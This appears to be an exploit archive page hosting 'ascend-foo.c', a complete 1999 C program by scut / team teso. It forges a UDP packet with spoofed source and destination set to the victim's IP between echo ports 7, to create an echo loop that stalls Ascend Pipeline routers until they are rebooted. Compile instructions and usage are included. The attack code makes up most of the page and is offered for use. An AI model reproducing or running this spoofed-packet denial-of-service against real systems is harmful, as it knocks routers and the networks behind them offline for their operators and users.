what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ascend-foo.c

ascend-foo.c
Posted Dec 31, 1999
Authored by scut

ascend foo denial of service exploit - basically just another lame echo/echo link, but has nice results on ascend, the router needs to be rebooted.

tags | denial of service
SHA-256 | fe530210211c98eb326d365ad3afea020c2bcac0189958f184e1b378dc1e2bec

ascend-foo.c

Change Mirror Download
/* ascend foo denial of service exploit
* 1999/09/25
*
* basically just another lame echo/echo link, but has nice results on ascend,
* you can increase the lag in steps of 2ms by sending one packet, after some
* few hundret ms lag you overflow the internal packet buffer and the whole
* connection stalls, the router has to be rebooted.
*
* by scut / team teso [https://teso.scene.at/]
*
* compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN
* works fine against Ascend Pipeline * modells, haven't tried against others
*/

#include <stdio.h>
#include <libnet.h>

int
main (int argc, char **argv)
{
int sock, c;
u_long src_ip;
u_char *buf;
u_char *qbuf;
int qbuf_s = 0;

printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n");
if (argc < 2) {
printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]);
exit (EXIT_FAILURE);
} else if (argc == 2) {
qbuf_s = 73;
} else {
qbuf_s = atoi (argv[2]);
}
qbuf = malloc (qbuf_s);

src_ip = libnet_name_resolve (argv[1], 0);

if (src_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}

buf = calloc (1, (UDP_H + IP_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}

libnet_seed_prand ();

sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}

libnet_build_ip ( UDP_H + qbuf_s, /* content size */
0, /* tos */
0, /* id */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* heh ;) */
src_ip,
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */

libnet_build_udp ( 7, /* source port */
7,
qbuf, /* content already there */
qbuf_s, /* same */
buf + IP_H); /* build after ip header */

libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s);

c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s);
if (c < UDP_H + IP_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim router\n", c);

free (buf);

return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close